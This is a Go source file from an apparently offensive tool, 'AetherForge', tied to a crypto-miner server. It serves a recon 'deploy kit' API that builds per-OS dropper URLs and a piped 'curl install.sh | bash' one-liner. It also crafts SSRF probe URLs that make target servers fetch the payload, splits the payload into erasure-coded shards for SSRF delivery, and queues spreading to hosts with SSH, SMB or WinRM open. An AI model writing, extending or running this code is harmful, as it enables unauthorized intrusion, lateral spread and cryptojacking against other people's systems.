Files
AetherForge/server/internal/api/recon_deploy_kit.go
AetherForge 06486b9bcb Add recon deploy action matrix and playbook wizard API.
Extend deploy-kit with pinned-build campaign attribution, SSRF erasure shards, and one-click action matrix; add playbook endpoint branching by target profile.
2026-06-07 12:15:04 -07:00

451 lines
16 KiB
Go

package api
import (
"fmt"
"net"
"net/http"
"os"
"strconv"
"strings"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/recon"
)
const reconFleetSpreadNote = "No new endpoints on target port 6262 — actions route through existing deck dropper lanes."
var fleetSpreadPorts = map[int]bool{22: true, 445: true, 5985: true}
type deployKitAction struct {
ID string `json:"id"`
Label string `json:"label"`
Value string `json:"value,omitempty"`
Enabled bool `json:"enabled"`
Method string `json:"method,omitempty"`
URL string `json:"url,omitempty"`
Body map[string]interface{} `json:"body,omitempty"`
Note string `json:"note,omitempty"`
}
type ssrfErasureManifest struct {
Scheme string `json:"scheme"`
KOfN string `json:"k_of_n"`
MinShards int `json:"min_shards"`
DestHint string `json:"dest_hint"`
Note string `json:"note"`
ShardURLs []string `json:"shard_urls"`
ManifestURL string `json:"manifest_url,omitempty"`
ProbeTemplate string `json:"probe_template,omitempty"`
}
type reconPlaybookStep struct {
ID string `json:"id"`
Title string `json:"title"`
Detail string `json:"detail,omitempty"`
Actions []deployKitAction `json:"actions"`
Links []struct {
Label string `json:"label"`
URL string `json:"url"`
Note string `json:"note,omitempty"`
} `json:"links,omitempty"`
}
func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) {
if h == nil {
return
}
h.deployPlan = plan
h.publicURL = publicURL
h.allowlistFn = allowlist
}
type deployKitDropperURLs struct {
GetWindows string `json:"get_windows,omitempty"`
GetLinux string `json:"get_linux,omitempty"`
GetDarwin string `json:"get_darwin,omitempty"`
Get string `json:"get,omitempty"`
InstallPS1 string `json:"install_ps1,omitempty"`
InstallSh string `json:"install_sh,omitempty"`
InstallCmd string `json:"install_command,omitempty"`
}
type deployKitSpreadZIP struct {
Method string `json:"method"`
URL string `json:"url"`
Note string `json:"note,omitempty"`
}
type deployKitSpreadTemplate struct {
Template string `json:"template,omitempty"`
Method string `json:"method"`
URL string `json:"url"`
}
func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
host := strings.TrimSpace(r.URL.Query().Get("host"))
finding := strings.TrimSpace(r.URL.Query().Get("finding"))
if host == "" {
http.Error(w, "host query param required", http.StatusBadRequest)
return
}
openPorts := parseOpenPortsParam(r.URL.Query().Get("open_ports"))
ssrfPage := strings.TrimSpace(r.URL.Query().Get("ssrf_page"))
ssrfField := strings.TrimSpace(r.URL.Query().Get("ssrf_field"))
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
if serverURL == "" {
serverURL = "http://127.0.0.1:8989"
}
matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist())
if !ok {
writeJSON(w, map[string]interface{}{"ok": false, "host": host, "finding": finding, "error": "no deploy lane matched finding"})
return
}
agentID, agentReachable, agentFound := h.matchAgentForHost(host)
platform := platformForReconHost(host, lane.Lane)
buildID := ""
if h.db != nil {
if b, err := h.db.GetLatestBuildForPlatform(platform); err == nil && b != nil {
buildID = b.ID
}
}
campaign := reconCampaign(host)
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
dropper := deployKitDropperURLs{
Get: serverURL + "/get" + querySuffix, GetWindows: serverURL + "/get?os=windows" + getQuerySuffix,
GetLinux: serverURL + "/get?os=linux" + getQuerySuffix, GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix,
InstallPS1: serverURL + "/install.ps1" + querySuffix, InstallSh: serverURL + "/install.sh" + querySuffix,
InstallCmd: serverURL + "/install.command" + querySuffix,
}
resp := map[string]interface{}{
"ok": true, "host": host, "finding": finding, "build_id": buildID, "campaign": campaign,
"join_lane": lane.Lane, "matched_service": matched, "agent_reachable": agentReachable, "agent_found": agentFound,
"dropper_urls": dropper, "locked_server_note": reconFleetSpreadNote,
"action_matrix": buildDeployActionMatrix(host, finding, serverURL, buildID, campaign, querySuffix, openPorts, ssrfPage, ssrfField),
"spread_kit_zip": deployKitSpreadZIP{Method: "POST", URL: "/api/v1/builder/spread-kit-export", Note: "Body: { server_url, build_id?, campaign? }"},
"crucible_link": crucibleSpreadLink(host, finding),
}
if agentID != "" {
resp["agent_id"] = agentID
}
if tpl := strings.TrimSpace(lane.Template); tpl != "" {
resp["spread_template"] = deployKitSpreadTemplate{Template: tpl, Method: "POST", URL: "/api/v1/builder/spread-template-export"}
}
if h.deployPlan != nil {
req := deployPlanRequest{BuildID: buildID, Campaign: campaign, Platform: platform, Services: []DeployServiceFinding{{Name: matched, Status: "running"}}}
if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil {
resp["deploy_plan_template"] = plan
}
}
if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") {
if h.deployPlan != nil {
if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{BuildID: buildID, Campaign: campaign, Platform: "linux"}, serverURL); err == nil {
resp["ssm_bundle"] = bundle
}
}
}
if isSSRFRelatedFinding(finding) {
if manifest := buildSSRFErasureManifest(h, serverURL, buildID, campaign, platform, ssrfPage, ssrfField); manifest != nil {
resp["erasure_manifest"] = manifest
}
}
writeJSON(w, resp)
}
func (h *SpreadHandler) GetReconPlaybook(w http.ResponseWriter, r *http.Request) {
host := strings.TrimSpace(r.URL.Query().Get("host"))
if host == "" {
http.Error(w, "host query param required", http.StatusBadRequest)
return
}
report, err := recon.Scan(recon.ScanRequest{Host: host})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
if serverURL == "" {
serverURL = "http://127.0.0.1:8989"
}
buildID := ""
if h.db != nil {
if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, "")); err == nil && b != nil {
buildID = b.ID
}
}
campaign := reconCampaign(host)
querySuffix, _ := buildQuerySuffix(buildID, campaign)
writeJSON(w, buildReconPlaybook(host, serverURL, buildID, campaign, querySuffix, report))
}
func reconCampaign(host string) string {
host = strings.TrimSpace(strings.ToLower(strings.ReplaceAll(host, ":", "-")))
if slug := sanitizeExportSlug("recon-" + host); slug != "" {
return slug
}
return "recon-unknown"
}
func parseOpenPortsParam(raw string) map[int]bool {
out := map[int]bool{}
for _, part := range strings.Split(raw, ",") {
if p, err := strconv.Atoi(strings.TrimSpace(part)); err == nil && p > 0 {
out[p] = true
}
}
return out
}
func fleetSpreadEligible(open map[int]bool) bool {
for p := range fleetSpreadPorts {
if open[p] {
return true
}
}
return false
}
func curlInstallOneliner(serverURL, querySuffix string) string {
return fmt.Sprintf("curl -sL '%s/install.sh%s' | bash", strings.TrimRight(serverURL, "/"), querySuffix)
}
func ssrfProbeURL(serverURL, querySuffix, pageURL, fieldName string) string {
target := strings.TrimRight(serverURL, "/") + "/get" + querySuffix
if pageURL == "" || fieldName == "" {
return target
}
sep := "?"
if strings.Contains(pageURL, "?") {
sep = "&"
}
return pageURL + sep + fieldName + "=" + urlQueryEscape(target)
}
func isSSRFRelatedFinding(finding string) bool {
return strings.Contains(strings.ToLower(finding), "ssrf")
}
func buildDeployActionMatrix(host, finding, serverURL, buildID, campaign, querySuffix string, open map[int]bool, ssrfPage, ssrfField string) []deployKitAction {
return []deployKitAction{
{ID: "copy_curl_install", Label: "Copy curl install.sh", Value: curlInstallOneliner(serverURL, querySuffix), Enabled: true},
{ID: "crucible_spread_link", Label: "Open Crucible spread tab", Value: crucibleSpreadLink(host, finding), Enabled: true},
{ID: "spread_kit_download", Label: "Export spread kit ZIP", Method: "POST", URL: "/api/v1/builder/spread-kit-export",
Body: map[string]interface{}{"server_url": strings.TrimRight(serverURL, "/"), "build_id": buildID, "campaign": campaign}, Enabled: buildID != ""},
{ID: "copy_ssrf_url", Label: "Copy SSRF probe URL", Value: ssrfProbeURL(serverURL, querySuffix, ssrfPage, ssrfField), Enabled: isSSRFRelatedFinding(finding)},
{ID: "queue_fleet_spread", Label: "Queue fleet spread to host", Method: "POST", URL: "/api/v1/fleet/spread-to-host",
Body: map[string]interface{}{"host": host, "finding": finding, "build_id": buildID, "campaign": campaign}, Enabled: fleetSpreadEligible(open), Note: reconFleetSpreadNote},
}
}
func crucibleSpreadLink(host, finding string) string {
q := "reconHost=" + urlQueryEscape(host) + "&tab=spread"
if finding != "" {
q += "&finding=" + urlQueryEscape(finding)
}
return "/crucible?" + q
}
func buildSSRFErasureManifest(h *SpreadHandler, serverURL, buildID, campaign, platform, pageURL, fieldName string) *ssrfErasureManifest {
if h == nil || h.db == nil {
return nil
}
if platform == "" {
platform = "linux"
}
build, err := h.db.GetLatestBuildForPlatform(platform)
if err != nil || build == nil {
return nil
}
if buildID == "" {
buildID = build.ID
}
payload, err := os.ReadFile(build.FilePath)
if err != nil {
return nil
}
store := h.erasureShards
if store == nil {
store = erasure.NewShardStore()
}
destHint := "/tmp/aetherforge-erasure/worker"
plan, err := erasure.BuildPlan(store, serverURL, buildID, campaign, payload, destHint, "exe", "", true, true)
if err != nil || plan == nil {
return nil
}
shardURLs := make([]string, len(plan.Shards))
for i, sh := range plan.Shards {
shardURLs[i] = sh.URL
}
manifestURL := ""
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(store, plan.ShardToken))); err == nil && manifest != nil {
manifestURL = manifest.ManifestURL
}
probeTemplate := ""
if pageURL != "" && fieldName != "" {
sep := "?"
if strings.Contains(pageURL, "?") {
sep = "&"
}
probeTemplate = pageURL + sep + fieldName + "={shard_url}"
}
return &ssrfErasureManifest{Scheme: plan.Scheme, KOfN: fmt.Sprintf("%d+%d", plan.DataShards, plan.ParityShards), MinShards: plan.DataShards,
DestHint: destHint, Note: "Honest partial path — SSRF fetch destination on target not verified; server may write shards under /tmp",
ShardURLs: shardURLs, ManifestURL: manifestURL, ProbeTemplate: probeTemplate}
}
func classifyReconProfile(host string, ports []recon.PortResult) string {
lower := strings.ToLower(host)
for _, m := range []string{"amazonaws.com", "compute.internal", "cloudapp.net", "ec2-"} {
if strings.Contains(lower, m) {
return "cloud_vps"
}
}
if ip := net.ParseIP(host); ip != nil && !ip.IsPrivate() && !ip.IsLoopback() {
return "cloud_vps"
}
for _, p := range ports {
if p.Open && fleetSpreadPorts[p.Port] {
return "ports_open"
}
}
return "public_only"
}
func buildReconPlaybook(host, serverURL, buildID, campaign, querySuffix string, report *recon.ScanReport) map[string]interface{} {
profile := classifyReconProfile(host, report.Ports)
open := map[int]bool{}
for _, p := range report.Ports {
if p.Open {
open[p.Port] = true
}
}
ssrfPage, ssrfField := "", ""
if report.Crawl != nil && len(report.Crawl.URLFields) > 0 {
ssrfPage, ssrfField = report.Crawl.URLFields[0].PageURL, report.Crawl.URLFields[0].Name
}
actions := buildDeployActionMatrix(host, "ssrf", serverURL, buildID, campaign, querySuffix, open, ssrfPage, ssrfField)
var steps []reconPlaybookStep
switch profile {
case "cloud_vps":
steps = []reconPlaybookStep{{
ID: "console_ssm", Title: "Cloud console / SSM", Detail: "Use provider console or SSM — no listener on target 6262.",
Actions: []deployKitAction{actions[0], actions[2]},
Links: []struct {
Label string `json:"label"`
URL string `json:"url"`
Note string `json:"note,omitempty"`
}{{Label: "AWS SSM console", URL: "https://console.aws.amazon.com/systems-manager/run-command"}},
}}
case "ports_open":
steps = []reconPlaybookStep{{ID: "fleet_spread", Title: "Fleet spread from online hop", Detail: "Ports 22/445/5985 open.",
Actions: []deployKitAction{actions[4], actions[1], actions[2]}}}
default:
steps = []reconPlaybookStep{{ID: "ssrf_upload", Title: "SSRF / upload surface", Detail: "Public web only — probe SSRF or upload paths.",
Actions: []deployKitAction{actions[3], actions[0], actions[1]}}}
}
openPorts := []int{}
for p := range open {
openPorts = append(openPorts, p)
}
return map[string]interface{}{"ok": true, "host": host, "profile": profile, "build_id": buildID, "campaign": campaign,
"locked_server_note": reconFleetSpreadNote, "open_ports": openPorts, "steps": steps,
"deploy_kit_url": "/api/v1/recon/deploy-kit?host=" + urlQueryEscape(host)}
}
func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane {
if h.allowlistFn != nil {
return NormalizeServiceDeployAllowlist(h.allowlistFn())
}
return NormalizeServiceDeployAllowlist(nil)
}
func resolveSpreadServerURL(h *SpreadHandler) string {
if h.publicURL != nil {
return h.publicURL()
}
return ""
}
func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
finding = strings.TrimSpace(finding)
allowlist = NormalizeServiceDeployAllowlist(allowlist)
if finding == "" {
return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true
}
lower := strings.ToLower(finding)
if strings.Contains(lower, "ssrf") {
return "SSRF", ServiceDeployLane{Lane: "stage_fetch", Template: "ssrf_probe"}, true
}
if strings.Contains(lower, "ssm") {
return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true
}
normalized := normalizeJoinLane(finding)
for _, entry := range allowlist {
if entry.Lane == normalized {
return finding, entry, true
}
}
if normalized != "" && normalized != finding {
return finding, ServiceDeployLane{Lane: normalized}, true
}
matched, lane, ok = PickDeployLane([]DeployServiceFinding{{Name: finding, Status: "running"}}, allowlist)
if ok {
return matched, lane, true
}
for name, entry := range allowlist {
if strings.EqualFold(name, finding) {
return name, entry, true
}
}
return "", ServiceDeployLane{}, false
}
func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) {
host = strings.TrimSpace(strings.ToLower(host))
if host == "" || h.db == nil {
return "", false, false
}
agents, err := h.db.ListAgents()
if err != nil {
return "", false, false
}
var match *models.Agent
for _, ag := range agents {
if ag == nil {
continue
}
ip := strings.TrimSpace(strings.ToLower(ag.IP))
name := strings.TrimSpace(strings.ToLower(ag.Name))
hostname := strings.TrimSpace(strings.ToLower(ag.Hostname))
if ip == host || name == host || hostname == host {
if match == nil || ag.Status == "online" {
match = ag
}
}
}
if match == nil {
return "", false, false
}
reachable = match.Status == "online"
if h.wsHub != nil {
reachable = h.wsHub.isAgentConnected(match.ID)
}
return match.ID, reachable, true
}
func platformForReconHost(host, lane string) string {
if strings.Contains(lane, "linux") {
return "linux"
}
_ = host
return "windows"
}
func urlQueryEscape(s string) string {
return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23")
}